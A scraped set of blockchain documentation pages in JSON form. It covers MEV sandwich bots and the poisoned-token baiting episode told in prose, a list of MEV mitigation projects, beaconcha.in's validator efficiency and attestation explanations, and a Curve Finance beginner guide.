"body": "Other attempts What are the other attempts to trick the bot? Link: https://twitter.com/bertcmiller/status/1381296074086830091?s=20 Background Instead of users paying transaction fees via gas prices, Flashbots users pay fees via a smart contract call which transfers ETH to a miner. Miners receive bundles of transaction from users and include the bundle that pays them the most. Users love this because they only pay for transactions that are included and they can determine the fee that they are going to pay. Sandwich bots watch the mempool for users buying on DEXes and sandwich them: running the price up before the victim buys and dumping after for a profit. Those 3 txs (buy, victim transaction, sell) make up a bundle. Note the Sandwich sell transaction contains the smart contract payment to the miner. It's important that payment goes to the miner on the sell transaction! That should only happen after the bot has secured profit from selling the tokens bought in their front-run. If that sell fails then there is no payment to the miner, and thus their bundle shouldn't be included To be even more secure, bots will simulate their transactions on local infrastructure. Bots won't send transactions unless the simulation goes well. Paying transaction fees only on the sell transaction of a sandwich should defend against this. No profit, no payment. Simulation vs Reality Some really smart people found weaknesses among all of these defenses. The first defense was that simulation was done with an ERC20 transfer function that checked to see if the block was a mined by Flashbots' miners, and if so it transfers way less out. Local simulations look fine but do not work in production. The second defense - Payment only on a sell transaction Again: Sandwich bots make miner payment conditional on profit. That was broken by making the ERC20 token pay the miner. Thus even with the Sandwich bot sell failing, the miner would still get paid! Here's what actually happened: Sandwich bot gets baited and buys 100 ETH of the poisonous token. Poisonous token owner's bait triggers custom transfer function, which pays 0.1 ETH to the miner Sandwich bot's sell doesn't work because of the poisonous token. As the sandwich bot submitted these three transactions in a bundle all three were included: the successful buy, the bait, and the failed sell. The poisonous ERC20's payment via the custom transfer was what incentivized a miner to include it! It is estimated that the first person to do this made about 100 ETH. You can see the poisoned ERC20 Uniswap transactions here . From Victim to Predator One of their victims was one the most successful Flashbots bot operators, and they immediately sprung into action. In a short period of time the victim turned into an apex predator. They launched a similar but slightly different ERC20 (YOLOchain), and ended up successfully baiting many more sandwichers. They made 300 ETH doing so! Previous Kattana Next Solutions Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Solutions", "html_url": "https://www.mev.wiki/solutions", "body": "Solutions Previous Other attempts Next Front-running as a Service (FaaS) or MEV Auctions (MEVA) Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Front-running as a Service (FaaS) or MEV Auctions (MEVA)", "html_url": "https://www.mev.wiki/solutions/faas-or-meva", "body": "Front-running as a Service (FaaS) or MEV Auctions (MEVA) MEVA and FaaS solutions. In a FaaS or MEVA system, MEV is extracted in a variety of ways such as miners auctioning off the right to front-run users. 'Centralizing MEV extraction is good because it quarantines a revenue stream that could otherwise drive centralization in other sectors.' Vitalik Buterin 'In this article, Im going to go deep into my personal arguments for why extracting MEV in cryptocurrencies isnt like theft, why it is a critical metric for network security in any distributed system secured by economic incentives (yes, including centralized ones), and what we should do about MEV in the next 3-5 years as a community.' Phil Daian, co-author of Flash Boys 2.0 See the various solutions: Private Transactions BackRunMe by bloXroute Flashbots mistX by alchemist KeeperDAO EDEN Network (ArcherSwap) Optimism MiningDAO BackBone Cabal Previous Solutions Next Private Transactions Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Private Transactions", "html_url": "https://www.mev.wiki/solutions/faas-or-meva/private-transactions", "body": "Private Transactions Previous Front-running as a Service (FaaS) or MEV Auctions (MEVA) Next BackRunMe by bloXroute Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "BackRunMe by bloXroute", "html_url": "https://www.mev.wiki/solutions/faas-or-meva/backrunme-by-bloxroute", "body": "BackRunMe by bloXroute Previous Private Transactions Next Flashbots Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Flashbots", "html_url": "https://www.mev.wiki/solutions/faas-or-meva/flashbots", "body": "Flashbots Previous BackRunMe by bloXroute Next mistX by alchemist Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "mistX by alchemist", "html_url": "https://www.mev.wiki/solutions/faas-or-meva/mistx-by-alchemist", "body": "mistX by alchemist Previous Flashbots Next KeeperDAO Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "KeeperDAO", "html_url": "https://www.mev.wiki/solutions/faas-or-meva/keeperdao", "body": "KeeperDAO Previous mistX by alchemist Next EDEN Network (ArcherSwap) Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "EDEN Network (ArcherSwap)", "html_url": "https://www.mev.wiki/solutions/faas-or-meva/archerswap", "body": "EDEN Network (ArcherSwap) Previous KeeperDAO Next Optimism Last updated 2 years ago", "labels": ["Documentation"]}, {"title": "Optimism", "html_url": "https://www.mev.wiki/solutions/faas-or-meva/optimism", "body": "Optimism Previous EDEN Network (ArcherSwap) Next MiningDAO Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "MiningDAO", "html_url": "https://www.mev.wiki/solutions/faas-or-meva/miningdao", "body": "MiningDAO Previous Optimism Next BackBone Cabal Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "BackBone Cabal", "html_url": "https://www.mev.wiki/solutions/faas-or-meva/backbone-cabal", "body": "BackBone Cabal Previous MiningDAO Next MEV Minimization Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "MEV Minimization", "html_url": "https://www.mev.wiki/solutions/mev-minimization", "body": "MEV Minimization MEV minimization and prevention solutions. Here are various solutions in MEV minimization: Conveyor (Automata Network) SecretSwap (Secret Network) Fair sequencing service (Chainlink) Arbitrum (Offchain Labs) Vega protocol CowSwap Veedo (StarkWare) LibSubmarine Sikka Shutter Network Previous BackBone Cabal Next Conveyor (Automata Network) Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Conveyor (Automata Network)", "html_url": "https://www.mev.wiki/solutions/mev-minimization/conveyor-automata-network", "body": "Conveyor (Automata Network) Previous MEV Minimization Next SecretSwap (Secret Network) Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "SecretSwap (Secret Network)", "html_url": "https://www.mev.wiki/solutions/mev-minimization/secretswap-secret-network", "body": "SecretSwap (Secret Network) Previous Conveyor (Automata Network) Next Fair sequencing service (Chainlink) Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Fair sequencing service (Chainlink)", "html_url": "https://www.mev.wiki/solutions/mev-minimization/fair-sequencing-service-chainlink", "body": "Fair sequencing service (Chainlink) Previous SecretSwap (Secret Network) Next Arbitrum (Offchain Labs) Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Arbitrum (Offchain Labs)", "html_url": "https://www.mev.wiki/solutions/mev-minimization/arbitrum-offchain-labs", "body": "Arbitrum (Offchain Labs) Previous Fair sequencing service (Chainlink) Next Vega protocol Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Vega protocol", "html_url": "https://www.mev.wiki/solutions/mev-minimization/vega-protocol", "body": "Vega protocol Previous Arbitrum (Offchain Labs) Next CowSwap Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "CowSwap", "html_url": "https://www.mev.wiki/solutions/mev-minimization/cowswap", "body": "CowSwap Previous Vega protocol Next Veedo (StarkWare) Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Veedo (StarkWare)", "html_url": "https://www.mev.wiki/solutions/mev-minimization/veedo-starkware", "body": "Veedo (StarkWare) Previous CowSwap Next LibSubmarine Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "LibSubmarine", "html_url": "https://www.mev.wiki/solutions/mev-minimization/libsubmarine", "body": "LibSubmarine Previous Veedo (StarkWare) Next Sikka Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Sikka", "html_url": "https://www.mev.wiki/solutions/mev-minimization/sikka", "body": "Sikka Previous LibSubmarine Next Shutter Network Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Shutter Network", "html_url": "https://www.mev.wiki/solutions/mev-minimization/shutter-network", "body": "Shutter Network Previous Sikka Next Other solutions Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Other solutions", "html_url": "https://www.mev.wiki/solutions/others", "body": "Other solutions Other ways to tackle MEV. Here are the list of other solutions: B.Protocol Previous Shutter Network Next B.Protocol Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "B.Protocol", "html_url": "https://www.mev.wiki/solutions/others/b.protocol", "body": "B.Protocol Previous Other solutions Next Miscellaneous Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Miscellaneous", "html_url": "https://www.mev.wiki/miscellaneous", "body": "Miscellaneous What Happens when Ethereum moves to Proof-of-Stake? The move from PoW to PoS consensus means the Ethereum network becomes secured by a set validators, who stake their ETH and vote on consensus, as opposed to miners who run mining equipment to solve for the proof of work. This change of consensus is set to happen likely some time in 2021. Some have suggested that this means Miner Extractable Value will become Validator Extractable Value. This is an ongoing discussion and you can follow this here: Link: https://hackmd.io/@flashbots/ryuH4gn7d From Paradigm's piece \"On Staking Pools and Staking Derivatives\" - Staking pools and their staking derivatives are subject to similar market realities as MEV extraction, in the sense that their existence is inevitable. Institutional staking pools (e.g. exchanges) may have social and reputational constraints that prevent them from extracting certain forms of MEV. This allows smaller staking firms and decentralized pools without these constraints to provide higher returns for their stakers. This could turn the decentralization premium for using a decentralized staking pool into a decentralization discount. Link: https://research.paradigm.xyz/staking Other Academic Papers Tesseract Tesseract proposes a front-running resistant exchange relying on Intel SGX as a trusted execution environment. Link: https://eprint.iacr.org/2017/1153.pdf Calypso Enables a blockchain to hold and manage secrets on-chain with the convenient property that it is able to protect against front-running. Link: https://eprint.iacr.org/2018/209.pdf Previous B.Protocol Next Contributions Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "Contributions", "html_url": "https://www.mev.wiki/contributions", "body": "Contributions BUIDL with MEV Wiki If you would like to contribute to this Wiki on MEV knowledge, please click the \"Edit on Github\" button on any page. Then create a Github pull request to suggest your changes. This wiki is maintained & sponsored by Automata Network . If you would like to become a contributor, please join Automata Discord Server . Previous Miscellaneous Last updated 3 years ago", "labels": ["Documentation"]}, {"title": "\ud83d\udc4bWelcome", "html_url": "https://kb.beaconcha.in/", "body": " Welcome Welcome to the beaconcha.in knowledgebase! beaconcha.in is the only explorer that visually merges the consensus and execution layers, significantly improving the user experience. It comes with a mobile app for android and IOS and the best part -- it's open source ! This knowledgebase covers Tutorials Definitions API explanations For questions and suggestions you can find us on X , Discord , v1-Github or v2-Github Quick start v2-beta Introducing v2 beta beaconcha.in v2 Slot viz Understanding the validator slot viz Efficiency Learn how validator `Efficiency` works Last updated 4 months ago", "labels": ["Documentation"]}, {"title": "\ud83c\udf89Introducing v2-beta", "html_url": "https://kb.beaconcha.in/v2beta/introduction", "body": " Introducing v2-beta Last updated 4 months ago", "labels": ["Documentation"]}, {"title": "\ud83d\udc41\ufe0fValidator dashboard Overview", "html_url": "https://kb.beaconcha.in/v2beta/validator-dashboard-overview", "body": " Validator dashboard Overview The Overview section summarizes the dashboard, making it especially useful on mobile devices, as users can identify offline validators without needing to scroll. Furthermore, users can create multiple dashboards directly through the dashboard by pressing the + button. If you are interested in viewing your withdrawals and transactions, you can switch to the Accounts dashboard. If you want to set up notifications, click the Notifications [soonTM] tab. Last updated 5 months ago", "labels": ["Documentation"]}, {"title": "\ud83d\udfe9Slot visualization", "html_url": "https://kb.beaconcha.in/v2beta/slot-visualization", "body": " Slot visualization A metric for real-time validator monitoring The slot viz has been redesigned and integrated into the dashboard to visualize real-time data for the user's validator set. A multi-color scheme has been introduced to simplify issue detection and allow preperation for upcoming validator duties for operators. This significantly enhances user experience, as users no longer need to read and switch between data tables. Slot viz overview Users that run hundreds of validators can reduce the noise in their slot viz using the filters located in the top left corner Filtering duties in the slot viz How does it work? Each block has two states. The network status and the users' validator status. This makes it easy to backtrack if a missed duty was related to network issue. Content Color Scheme Border Color Scheme Examples Last updated 5 months ago", "labels": ["Documentation"]}, {"title": "\ud83e\udec2Validator groups", "html_url": "https://kb.beaconcha.in/v2beta/validator-groups", "body": " Validator groups Group your validators to measure your nodes performance Last updated 4 months ago", "labels": ["Documentation"]}, {"title": "\u2692\ufe0fManage Validators", "html_url": "https://kb.beaconcha.in/v2beta/manage-validators", "body": " Manage Validators A modal to add, remove and assign validators Last updated 4 months ago", "labels": ["Documentation"]}, {"title": "\u2692\ufe0fManage Validators [API]", "html_url": "https://kb.beaconcha.in/v2beta/manage-validators-api", "body": " Manage Validators [API] Manage your validators via API To modify the validator dashboard via API, make sure to have an active Orca subscription . After creating a validator dashboard and the desired validator groups through the User Interface, you can add and assign validators to groups using our API. For Holesky, please adjust the base URL to: v2-beta-holesky.beaconcha.in The Group ID can be found in the Group Manage modal on the Dashboard During our beta the API key will only be visible in the account settings on https://beaconcha.in/user/settings#api Pass the API key as a parameter api_key https://v2-beta-holesky.beaconcha.in/api/v2/validator-dashboards/{dashboard_id}/validators?api_key=KEY Last updated 4 months ago", "labels": ["Documentation"]}, {"title": "\ud83e\udd1dShare your custom dashboard", "html_url": "https://kb.beaconcha.in/v2beta/share-your-custom-dashboard", "body": " Share your custom dashboard The Group feature makes every dashboard unique. For example, even if two dashboards contain the same validators, the charts and statistics would be different if the validators weere assigned to different groups. Thus, the dashboard allows you to share (read-only) a dashboard with its custom settings. This is extremely useful for larger staking entities that want to share their validator set internally, without providing access to a sensitive database. Last updated 5 months ago", "labels": ["Documentation"]}, {"title": "\ud83e\uddb8Summary table", "html_url": "https://kb.beaconcha.in/v2beta/summary-table", "body": " Summary table Visualizes your validator performance in multiple time frames TODO :) Last updated 5 months ago", "labels": ["Documentation"]}, {"title": "\ud83d\udcc8Metric: Validator Efficiency", "html_url": "https://kb.beaconcha.in/v2beta/metric-validator-efficiency", "body": " Metric: Validator Efficiency Efficiency, a metric to measure validator performance The validator Efficiency metric is a comprehensive measure of validator performance, integrating multiple components: Attestations Block proposals Sync committees This metric is designed to provide a holistic view of a validator's effectiveness. Some examples are available here . Components of Efficiency Note that the duty weighting is based on the consensus layer specification. Huge thanks to Ben Edington for providing https://eth2book.info/capella/ Attester Efficiency 84.4% (= 54/64) of validators' rewards come from attestations. Every epoch (~6.4 minutes), a validator proposes an attestation (vote) to the network. These attestations contain valuable information about the consensus layer and are rewarded based on their correctness and inclusion delay. An attestation consists of three votes: - Head vote - Source vote - Target vote If a validator votes correctly on all three and is included in the block with the best inclusion delay (1), the reward will be 100%, as good as it can be. Conveniently, the beacon node API returns the idealReward for a given epoch. The idealReward represents the maximum potential rewards based on optimal performance, which allows us to calculate attester efficiency. Copy attester_efficiency = actualReward / idealReward Proposer Efficiency Block proposals are purely luck-based, but over the long run, 12.5% (8/64) of validators' rewards come from block proposals. Blocks include execution rewards (transaction rewards + MEV rewards) and scale with the number of attestations and sync committee outputs included in a block. Comparing validator performance based on the luck of inclusion of attestations and MEV rewards (which highly depend on market volatility) would not provide meaningful context. Thus, proposer efficiency solely depends on the number of successfully proposed blocks divided by the total number of blocks that a validator could have proposed. This leads to the following formula: Copy proposer_efficiency = proposedBlocks / totalBlocks Some validators may not be lucky enough to propose a block, but their efficiency needs to be comparable with other validators who did propose a block. For this reason, the proposer efficiency will be 1 for validators who did not propose a block. Our v2 dashboard and API will provide both proposal efficiency and efficiency to provide more context. Sync Efficiency Every 256 epochs, 512 validators are elected to be part of the sync committee. Like block proposals, being part of a sync committee is purely luck-based. However, over the long run, 3.1% (2/64) of validators' rewards come from sync committee duties. With 500,000 validators, the expected time between being selected for sync committee duty is approximately 37 months. During this period, the rewards for sync committee members are significantly higher. Compared to attestations, which occur once per epoch, sync duties occur in every slot for 256 epochs, totaling 8192 duties per sync committee member. To reflect actual performance, sync efficiency doesnt rely on rewards but on the number of correctly executed sync duties. To avoid skewing the sync efficiency by the scheduled duties, we divide it. Since sync duties need to be included in a block by the block proposer, we subtract missed blocks that occurred during this period to avoid penalizing the sync committee member. This leads to the following formula Copy sync_efficiency = executed_Sync / (scheduled_Sync - missed_Blocks) Validators may not be lucky enough to be elected in a sync committee, but their efficiency needs to be comparable with other validators who did participate. For this reason, the sync efficiency will be 1 for validators who were not elected. Our v2 dashboard and API will provide both proposal efficiency and efficiency to provide more context. Examples: Efficiency calculation Example 1 When a validator has attestations, block proposals, and sync committees , the efficiency is calculated as: Copy efficiency = ((54/64 * attester_efficiency) + (8/64 * proposer_efficiency) + (2/64 * sync_efficiency)) Example 2 For validators who have participated in attestations and block proposals but not in sync committees , the efficiency is computed as: Copy efficiency = ((56/64 * attester_efficiency) + (8/64 * proposer_efficiency)) Example 3 When a validator has participated in attestations and sync committees but not in block proposals , the efficiency formula is: Copy efficiency = ((62/64 * attester_efficiency) + (2/64 * sync_efficiency)) Example 4 If a validator has participated only in attestations, the efficiency is simply: Copy efficiency = 1 * attester_efficiency Last updated 5 months ago", "labels": ["Documentation"]}, {"title": "Notifications", "html_url": "https://kb.beaconcha.in/v1-beaconcha.in-explorer/notifications", "body": "Notifications Understanding notifications How to configure beaconcha.in notifications Last updated 5 months ago", "labels": ["Documentation"]}, {"title": "Understanding notifications", "html_url": "https://kb.beaconcha.in/v1-beaconcha.in-explorer/notifications/understanding-notifications", "body": "Understanding notifications", "labels": ["Documentation"]}, {"title": "Notification configuration", "html_url": "https://kb.beaconcha.in/v1-beaconcha.in-explorer/notifications/beaconcha.in-notifications", "body": "Notification configuration How to configure beaconcha.in notifications Last updated 11 months ago", "labels": ["Documentation"]}, {"title": "Mobile App <> Node Monitoring", "html_url": "https://kb.beaconcha.in/v1-beaconcha.in-explorer/mobile-app-less-than-greater-than-beacon-node", "body": "Mobile App <> Node Monitoring A step by step tutorial on how to monitor your staking device & beaconnode on the beaconcha.in mobile app Last updated 11 months ago", "labels": ["Documentation"]}, {"title": "Optimal Inclusion Distance", "html_url": "https://kb.beaconcha.in/v1-beaconcha.in-explorer/optimal-inclusion-distance", "body": "Optimal Inclusion Distance Last updated 5 months ago", "labels": ["Documentation"]}, {"title": "Glossary", "html_url": "https://kb.beaconcha.in/ethereum-staking/glossary", "body": "Glossary Last updated 11 months ago", "labels": ["Documentation"]}, {"title": "The Genesis Event", "html_url": "https://kb.beaconcha.in/ethereum-staking/the-genesis-event", "body": "The Genesis Event A visualisation of the Genesis Event on Ethereum 2.0 Keywords Deposit contract Seconds_Per_Eth1_Block = 14 seconds Eth1_Follow_Distance = 2048 blocks * 14 seconds Min_Genesis_Time = 1606824000 (12:00:00 pm UTC | Tuesday, December 1, 2020) Min_Genesis_Active_Validator_Count = 16,384 Genesis_Delay = 7 days Ethereum 2.0 Beacon-chain Genesis Event Conditions There are two conditions that have to get triggered to get the Ethereum 2.0 chain started! The threshold of 16,384 validators needs to be hit The ETH1 block (=Trigger block) which determines the genesis time for ETH2 cannot be earlier than min_genesis_time. Trigger ETH1 block = min_genesis_time - genesis_delay Scenario One The required amount of deposits ( Min_Genesis_Active_Validator_Count) to fulfil the first condition occurs very quickly once the deposit contract has been deployed and before min_genesis_time . Once the threshold of 16,384 deposits is met, the network will try to accomplish the second condition by trying to find the trigger block by calculating min_genesis_time - genesis_delay. The goal of the trigger block (min_genesis_time - genesis_delay) is that the chain can never start earlier than min_genesis_time . The second scenario will make this clearer. Scenario Two The required amount of deposits ( Min_Genesis_Active_Validator_Count) to fulfil the first condition occurs after min_genesis_time. In this case, the second condition is met first and the trigger block becomes whatever min_genesis_time was set. The trigger block (second condition) is achieved right after the deposit contract receives 16,384 validator deposits. Genesis time becomes Trigger-block-timestamp + genesis_delay . Sources: Ethereum 2.0 Spec The Genesis of a Beacon Chain Last updated 11 months ago", "labels": ["Documentation"]}, {"title": "Ethereum Validator Keys", "html_url": "https://kb.beaconcha.in/ethereum-staking/ethereum-2-keys", "body": "Ethereum Validator Keys An overview of ethereum staking keys Last updated 5 months ago", "labels": ["Documentation"]}, {"title": "Deposit Process", "html_url": "https://kb.beaconcha.in/ethereum-staking/deposit-process", "body": "Deposit Process Ethereum staking deposit process Last updated 11 months ago", "labels": ["Documentation"]}, {"title": "Rewards and Penalties", "html_url": "https://kb.beaconcha.in/ethereum-staking/rewards-and-penalties", "body": "Rewards and Penalties The journey of a validator balance Last updated 5 months ago", "labels": ["Documentation"]}, {"title": "Attestation", "html_url": "https://kb.beaconcha.in/ethereum-staking/attestation", "body": "Attestation An overview of attestations Attestation Every Epoch (~6.4 minutes) a validator proposes an attestation (vote) to the network. This vote consists of the following segments: Committee Validator Index Finality vote Signature Chain head vote (vote on what the validator believes is the head of the chain) If we multiply that with the information included in each Attestation per Epoch, it adds up quickly. Therefore, the consensus layer aggregates all of that information and minimises the data growth. Aggregated Attestation Each block one or more committees are chosen to attest. A committee has a minimum of 128 validators, of which 16 are randomly selected to become an aggregator. As shown below, the validators broadcast their unaggregated attestation to the aggregators (red arrow). The aggregators then merge the attestations and forward a single aggregated attestation to the block proposer . Attestation Inclusion Lifecycle Generation Propagation Aggregation Propagation Inclusion Rewards The attestation reward is dependent on two variables, the base reward and the inclusion delay. The best case for the inclusion delay is to be 1. Base reward ( Validator effective balance * 2**6 ) / SQRT( Effective balance of all active validators ) Inclusion delay At the time when the validators voted on the head of the chain (Block 0), Block 1 was not proposed yet. Therefore attestations naturally get included one block later; so all attestations who voted on Block 0 being the chain head got included in Block 1 and, the inclusion delay is 1. The effects of the inclusion delay on the attestation reward As shown below, an Inclusion delay of 2 causes the the reward to drop by 50%. A ttestation scenarios Missing Voting Validator These validators have a maximum of 1 epoch to submit their attestation. If the attestation was missed in epoch 0, they can submit it with an inclusion delay in epoch 1. Missing Aggregator There are 16 Aggregators per epoch in total, additionally, random validators from the beacon-chain subscribe to two subnets for 256 Epochs and serve as a backup in case aggregators are missing. Missing block proposer Note that in some cases a lucky aggregator may also become the block proposer. If the attestation was not included because the block proposer has gone missing, the next block proposer would pick the aggregated attestation up and include it into the next block. However, the inclusion delay will increase by one. Credits Attestation effectiveness - AttestantIO Attestation Inclusion - Adrian Sutton (Consensys) Last updated 5 months ago", "labels": ["Documentation"]}, {"title": "Welcome to Curve Finance Resources", "html_url": "https://resources.curve.fi/", "body": "Curve Resources CurveDocs/curve-resources Home Home Table of contents Useful Links Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Useful Links Welcome to Curve Finance Resources Use the information within to explore the world of Curve, a leading decentralized exchange, stablecoin provider, and lending platform on Ethereum and EVM-compatible chains. It's known for it's advanced automated market-makers for stablecoins and volatile assets, and it's unique soft-liquidation system for loans. This documentation provides a clear overview of Curve's diverse features and functionalities. Learn about Curve pools , including stablecoin pools and volatile pools, gain insights into the CRV token , and understand the innovative crvUSD stablecoin and new lending platform. This website offers an easy to understand guide to get to know the whole of Curve's dynamic ecosystem in an easy to read way. Please see the technical documentation for developer information. Resources and guides to get started with Curve and the Curve DAO Asset 1 CRV Token Explore the dynamics of the CRV Token: Tokenomics, Staking, Claiming Fees, and more. Learn More image/svg+xml veCRV Obtain veCRV by locking CRV tokens, which allows users to participate in governance, boost their LP rewards, and earn protocol accrued fees. Learn More crvUSD Learn about crvUSD, including its creation, management, and key concepts, along with a comprehensive FAQ section. Learn More Lend Discover Curve's lending system, including how to supply, borrow, and create lending markets. Learn More Pools Understand Curve pools, yield calculations, and the deposit process. Learn More Creating Pools Understand the Pool Factory and dive into the pool creation process. Learn More Reward Gauges Explore gauges in-depth, including creation, boosting CRV rewards, understanding gauge weights, and permissionless rewards. Learn More Governance Gain insights into Curve's governance structure: Vote Locking, Voting, and Proposals. Learn More Multi-Chain Explore the multi-chain aspect of Curve, including bridging funds and understanding the cross-chain functionalities. Learn More Troubleshooting Find solutions for common issues like cross-asset swaps, stuck transactions, and wallet integrations. Learn More Useful Links Governance Dashboard Governance Forum Telegram Twitter Discord YouTube Technical Docs Back to top", "labels": ["Documentation"]}, {"title": "Understanding Curve & Stableswap (v1)", "html_url": "https://resources.curve.fi/base-features/understanding-curve/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) Understanding Curve & Stableswap (v1) Table of contents What is Curve.fi? What are liquidity pools & why should I deposit? How much does it cost to swap through Curve? What are those percentages next to each pool? What is the CRV token? Can I use Curve on sidechains? How Can I Launch a Pool Why has Curve grown so quickly? Where can I find Curve smart contracts? Whitepaper CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents What is Curve.fi? What are liquidity pools & why should I deposit? How much does it cost to swap through Curve? What are those percentages next to each pool? What is the CRV token? Can I use Curve on sidechains? How Can I Launch a Pool Why has Curve grown so quickly? Where can I find Curve smart contracts? Whitepaper Home Getting Started Understanding Curve & Stableswap (v1) Getting started with Curve isnt easy, there is a lot to grasp and the unique UI can be a lot to take in. This small guide is intended for Curve beginners with an understanding of DeFi and Crypto. It tries to answer recurring questions about how to get started with Curve and how it works or makes money for liquidity providers. What is Curve.fi? The easiest way to understand Curve is to see it as an exchange. Its main goal is to let users and other decentralised protocols exchange ERC-20 tokens (DAI to USDC for example) through it with low fees and low slippage . Unlike exchanges that match a buyer and a seller, Curve uses liquidity pools. To achieve successful exchange volume, Curve needs a high volume of liquidity (tokens) and therefore offers rewards to liquidity providers . Curve is non-custodial , meaning the Curve developers do not have access to your tokens. Curve pools are also non-upgradable, so you can have confidence that the logic protecting your funds can never change. What are liquidity pools & why should I deposit? Liquidity pools are pools of tokens held in smart contracts that allow users to exchange or withdraw tokens at set rates. By adding liquidity to a Curve pool, you earn passive income through trading fees, with rewards based on your contribution. Additionally, you may receive extra incentives like CRV tokens or Points, increasing your returns. Providing liquidity also helps maintain efficient, low-cost trades for all swappers, benefiting the whole DeFi ecosystem. For more information, visit the following section: Understanding Curve Pools How much does it cost to swap through Curve? Different pools have different fees. Most are typically in the range of 0.01-0.4%. Newer pools have dynamic fees, and so these fees can go higher if the pool is in high demand. The current fee is listed on each pool's page. What are those percentages next to each pool? Curve pools may have several different percentages shown next to them in the UI. The first column, vAPY, refers to the annualized rate of trading fees earned by liquidity providers in the pool. Swaps through Curve pools generate fees, a portion of which accrue to everybody who has a stake in the pool. Further information is in the Liquidity Provider section . The second column refers to the reward gauges. This entitles liquidity providers to earn bonus CRV emissions. More detail on these bonuses are in the Reward Gauges section . What is the CRV token? CRV token is a governance and utility token for Curve. Understanding CRV Understanding Governance Can I use Curve on sidechains? Yes. Curve has launched on several sidechains and will continue to do so. Visit our section on Multichain for more information. How Can I Launch a Pool All new Curve pools are deployed permissionlessly through the Curve Factory. This means anybody can deploy a pool anytime, anywhere. For a full guide, check our Factory Pools section. Why has Curve grown so quickly? When Curve launched it grew quickly by securing the underdeveloped stablecoin market. Stablecoins have become an inherent part of cryptocurrency for a long time but they now come in many different flavours (DAI, TUSD, sUSD, bUSD, USDC and so on) which means there is a much bigger need for crypto users to move from a stable coin to another. Centralised exchanges tend to have high fees which are problematic for those trying to move from a stable coin to another. As a result, Curve.fi has become the best place to exchange stable coins because of its low fees and low slippage. More recently, Curve launched v2 Crypto Pools to bring the same simplicity and efficiency of Curve's stablecoin pools to transactions between differentially priced assets (ie BTC and ETH). These pools are sufficiently different to justify their own section: Where can I find Curve smart contracts? The Github repository also open sources the bulk of Curve development activity. Whitepaper StableSwap 